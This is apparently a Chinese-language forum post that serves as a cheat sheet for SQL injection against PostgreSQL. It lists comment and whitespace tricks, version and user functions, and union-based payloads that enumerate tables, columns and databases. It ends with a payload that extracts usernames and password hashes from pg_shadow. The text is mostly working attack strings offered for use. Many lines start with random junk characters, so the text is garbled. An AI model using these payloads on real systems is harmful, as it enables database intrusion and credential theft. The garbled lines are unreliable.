postgreSQL注入总结

admin

结合了MSSQL MySQL Oracle的一些特点

支持多语句执行，语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
- @/ c+ e( o, o# }1 U连接符: %20 , + , /**/

内置函数:
current_database() //当前数据库名
/ E; x5 F/ l8 j3 rsession_user //会话用户
1 w0 u# ?- Z3 e) ucurrent_user //当前数据库用户
user //当前用户
version() //数据库版本

Union注射:
$ g8 V  Y6 @- P5 z/ torder by n–
and 1=2 union select null,null,null–
, F0 T3 W8 o; \3 d9 z* f0 f0 kand 1=2 union select ‘beach’,null,null–
! g  M' r* m; m6 U# x5 N: m8 ~: O7 Hand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
1 K& x) O8 K, Q, p6 V. A0 Mgroup_concat(table_name)
- _6 [* s* p$ r5 [& Tand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
0 E3 r; M+ S" n+ ](老版本)
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名

select relname from pg_class获取表名
select oid from pg_class where 条件 获取参数
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
6 ?/ T- ?, U4 y0 I# d) mand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
  ?( w! ~. P& D* A) Oand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
7 u: W1 R, P% S) j- r% l( X7 z; m: P由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
======================================================================
2 i1 r0 q& a) ?) k$ L' u! Z2 T9 sand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码